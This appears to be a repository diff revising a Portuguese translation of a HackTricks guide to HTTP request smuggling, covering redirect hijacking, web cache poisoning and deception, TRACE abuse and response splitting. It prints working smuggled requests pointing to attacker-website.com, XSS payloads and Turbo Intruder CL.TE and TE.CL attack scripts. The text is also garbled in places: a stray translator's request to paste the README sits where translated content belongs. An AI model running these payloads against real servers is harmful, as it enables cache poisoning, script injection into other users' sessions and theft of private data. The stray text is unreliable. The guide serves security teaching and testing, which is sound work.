Em [**this writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um request smuggling e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugglear uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma **fake HTTP/1.1 response (with headers and body)**, então a resposta passou a conter código JS executável válido com um `Content-Type` de `text/html`.
|
||||
Em [**this writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um request smuggling e um vulnerable endpoint que responde com a entrada do usuário para smugglear uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma fake HTTP/1.1 response (with headers and body) então a resposta passou a conter código JS executável válido com um `Content-Type` de `text/html`.
|
||||
|
||||
### Explorando redirecionamentos no site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Explorando redirecionamentos on-site com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Aplicações frequentemente redirecionam de uma URL para outra usando o hostname do header `Host` na URL de redirecionamento. Isso é comum em web servers como Apache e IIS. Por exemplo, solicitar uma pasta sem a barra final resulta em um redirecionamento para incluir a barra:
|
||||
Aplicações frequentemente redirecionam de uma URL para outra usando o hostname do cabeçalho `Host` na URL de redirect. Isso é comum em web servers como Apache e IIS. Por exemplo, requisitar uma pasta sem a barra final resulta em um redirect para incluir a barra:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -560,29 +609,29 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Esta smuggled request poderia fazer com que a próxima requisição de um usuário processada fosse redirecionada para um site controlado pelo atacante:
|
||||
Esta requisição smuggled poderia fazer com que a próxima requisição de usuário processada fosse redirecionada para um site controlado por um atacante:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
Resultados em:
|
||||
Resulta em:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
Neste cenário, a requisição de um usuário por um arquivo JavaScript é sequestrada. O attacker pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
|
||||
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
|
||||
|
||||
### Explorando Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning pode ser executado se qualquer componente da **infraestrutura front-end armazenar em cache conteúdo**, tipicamente para melhorar a performance. Ao manipular a resposta do servidor, é possível **poison the cache**.
|
||||
Web cache poisoning pode ser executado se qualquer componente da **front-end infrastructure caches content**, tipicamente para melhorar o desempenho. Manipulando a resposta do servidor, é possível **poison the cache**.
|
||||
|
||||
Anteriormente, observamos como as respostas do servidor podiam ser alteradas para retornar um erro 404 (consulte [Basic Examples](#basic-examples)). Da mesma forma, é factível enganar o servidor para entregar o conteúdo de `/index.html` em resposta a uma requisição por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído no cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários e potencialmente levando a um Denial of Service (DoS).
|
||||
Anteriormente, observamos como as respostas do servidor podiam ser alteradas para retornar um erro 404 (consulte [Basic Examples](#basic-examples)). Da mesma forma, é viável enganar o servidor para que entregue o conteúdo de `/index.html` em resposta a uma requisição por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído na cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários, potencialmente levando a um Denial of Service (DoS).
|
||||
|
||||
Essa técnica se torna particularmente potente se for descoberta uma **Open Redirect vulnerability** ou se existir um **on-site redirect to an open redirect**. Vulnerabilidades desse tipo podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do attacker, permitindo essencialmente um ataque Cross-Site Scripting (XSS) em larga escala contra todos os clientes que requisitarem o `/static/include.js` atualizado.
|
||||
Essa técnica se torna particularmente potente se for descoberta uma **Open Redirect vulnerability** ou se houver um **on-site redirect to an open redirect**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob controle do atacante, essencialmente possibilitando um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que requisitarem o `/static/include.js` atualizado.
|
||||
|
||||
Abaixo está uma ilustração de explorar **cache poisoning combined with an on-site redirect to open redirect**. O objetivo é alterar o conteúdo do cache de `/static/include.js` para servir código JavaScript controlado pelo attacker:
|
||||
Abaixo está uma ilustração de exploração de **cache poisoning combined with an on-site redirect to open redirect**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -600,20 +649,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Observe a requisição embutida direcionada para `/post/next?postId=3`. Essa requisição será redirecionada para `/post?postId=4`, utilizando o **Host header value** para determinar o domínio. Alterando o **Host header**, o atacante pode redirecionar a requisição para seu domínio (**on-site redirect to open redirect**).
|
||||
Observe a request embutida que tem como alvo `/post/next?postId=3`. Essa request será redirecionada para `/post?postId=4`, utilizando o **Host header value** para determinar o domínio. Ao alterar o **Host header**, o atacante pode redirecionar a request para o seu domínio (**on-site redirect to open redirect**).
|
||||
|
||||
Após um **socket poisoning** bem-sucedido, uma **GET request** para `/static/include.js` deve ser iniciada. Essa requisição será contaminada pela anterior **on-site redirect to open redirect** e buscará o conteúdo do script controlado pelo atacante.
|
||||
Após um **socket poisoning** bem-sucedido, uma **GET request** para `/static/include.js` deve ser iniciada. Essa request será contaminada pela anterior **on-site redirect to open redirect** request e buscará o conteúdo do script controlado pelo atacante.
|
||||
|
||||
Em seguida, qualquer requisição para `/static/include.js` servirá o conteúdo em cache do script do atacante, efetivamente desencadeando um amplo ataque XSS.
|
||||
Posteriormente, qualquer request para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um XSS attack em larga escala.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Qual é a diferença entre web cache poisoning e web cache deception?**
|
||||
>
|
||||
> - Em **web cache poisoning**, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
|
||||
> - Em **web cache poisoning**, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido a partir do cache para outros usuários da aplicação.
|
||||
> - Em **web cache deception**, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache.
|
||||
|
||||
O atacante elabora uma smuggled request que recupera conteúdo sensível específico de um usuário. Considere o seguinte exemplo:
|
||||
O atacante constrói uma smuggled request que obtém conteúdo sensível específico do usuário. Considere o seguinte exemplo:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -624,17 +673,17 @@ O atacante elabora uma smuggled request que recupera conteúdo sensível especí
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Se essa smuggled request envenenar uma cache entry destinada a static content (por exemplo, `/someimage.png`), os victim's sensitive data de `/private/messages` podem ficar cached sob a cache entry do static content. Consequentemente, o attacker poderia potencialmente recuperar esses cached sensitive data.
|
||||
Se essa requisição, enviada por HTTP Request Smuggling, envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados nessa entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis em cache.
|
||||
|
||||
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) sugere que se o server tiver o método TRACE habilitado pode ser possível abusar dele com um HTTP Request Smuggling. Isso acontece porque esse método refletirá qualquer header enviado ao server como parte do body da resposta. Por exemplo:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) sugere que, se o servidor tiver o método TRACE habilitado, pode ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método reflete qualquer header enviado ao servidor como parte do corpo da resposta. Por exemplo:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Por favor, cole aqui o conteúdo de src/pentesting-web/http-request-smuggling/README.md que deseja traduzir para o português.
|
||||
Por favor cole aqui o conteúdo de src/pentesting-web/http-request-smuggling/README.md que deseja traduzir. Vou traduzir o texto relevante para português mantendo exatamente a mesma sintaxe markdown/html e sem traduzir código, nomes de técnicas, links ou tags.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -645,17 +694,17 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Um exemplo de como abusar desse comportamento seria primeiro smuggle um HEAD request. Essa request será respondida apenas com os **headers** de uma GET request (**`Content-Type`** entre eles). E smuggle **imediatamente após o HEAD um TRACE request**, que irá **refletir os dados enviados**.\
|
||||
Como a resposta do HEAD conterá um header `Content-Length`, a **resposta do TRACE será tratada como o corpo da resposta do HEAD, portanto refletindo dados arbitrários** na resposta.\
|
||||
Essa resposta será enviada para a próxima request na conexão, então isso poderia ser **usado, por exemplo, em um arquivo JS em cache para injetar código JS arbitrário**.
|
||||
Um exemplo de como abusar desse comportamento seria smuggle primeiro um HEAD request. Esse request será respondido apenas com os headers de um GET request (**`Content-Type`** entre eles). E smuggle imediatamente após o HEAD um TRACE request, que irá **refletir os dados enviados**.\
|
||||
Como o HEAD response conterá um `Content-Length` header, a **response do TRACE request será tratada como o body do HEAD response, portanto refletindo dados arbitrários** na response.\
|
||||
Essa response será enviada para a próxima request na conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
|
||||
|
||||
### Abusando do TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Seguir [**this post**](https://portswigger.net/research/trace-desync-attack) sugere outra maneira de abusar do método TRACE. Como comentado, smuggling um HEAD request e um TRACE request torna possível **controlar alguns dados refletidos** na resposta ao HEAD request. O comprimento do corpo do HEAD request é basicamente indicado no header `Content-Length` e é formado pela resposta ao TRACE request.
|
||||
Continuar seguindo [**this post**](https://portswigger.net/research/trace-desync-attack) é sugerida outra forma de abusar do método TRACE. Como comentado, ao smuggle um HEAD request e um TRACE request é possível **controlar alguns dados refletidos** na response ao HEAD request. O comprimento do body do HEAD request é basicamente indicado no `Content-Length` header e é formado pela response do TRACE request.
|
||||
|
||||
Portanto, a nova ideia seria que, conhecendo esse `Content-Length` e os dados presentes na resposta do TRACE, é possível fazer com que a resposta do TRACE contenha uma resposta HTTP válida após o último byte definido pelo `Content-Length`, permitindo que um atacante controle completamente a request para a próxima resposta (o que poderia ser usado para executar um cache poisoning).
|
||||
Portanto, a nova ideia seria que, conhecendo esse `Content-Length` e os dados fornecidos na response do TRACE, é possível fazer com que a response do TRACE contenha uma resposta HTTP válida depois do último byte indicado pelo Content-Length, permitindo a um atacante controlar completamente a request para a próxima response (o que poderia ser usado para realizar um cache poisoning).
|
||||
|
||||
Exemplo:
|
||||
Example:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -674,7 +723,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Gerará estas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE seja parte do HEAD body e, quando o Content-Length da HEAD termina, uma resposta HTTP válida é smuggled):
|
||||
Gerará estas respostas (note que a resposta HEAD tem um Content-Length, fazendo com que a resposta TRACE seja parte do corpo da HEAD e, uma vez que o Content-Length da HEAD termina, uma resposta HTTP válida é smuggled):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -697,7 +746,7 @@ Content-Length: 50
|
||||
```
|
||||
### Explorando HTTP Request Smuggling com HTTP Response Desynchronisation
|
||||
|
||||
Encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Tente estes outros métodos de exploração:
|
||||
Encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Experimente este outro método de exploração:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -720,11 +769,11 @@ browser-http-request-smuggling.md
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## Turbo intruder scripts
|
||||
## Scripts do Turbo Intruder
|
||||
|
||||
### CL.TE
|
||||
|
||||
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
Fonte: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
@ -765,7 +814,7 @@ table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
Fonte: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -810,7 +859,7 @@ table.add(req)
|
||||
## Ferramentas
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – visualizar concatenação/framing e comportamento HTTP de baixo nível
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Ação personalizada do Burp Repeater "Smuggling or pipelining?"
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
@ -833,6 +882,7 @@ table.add(req)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user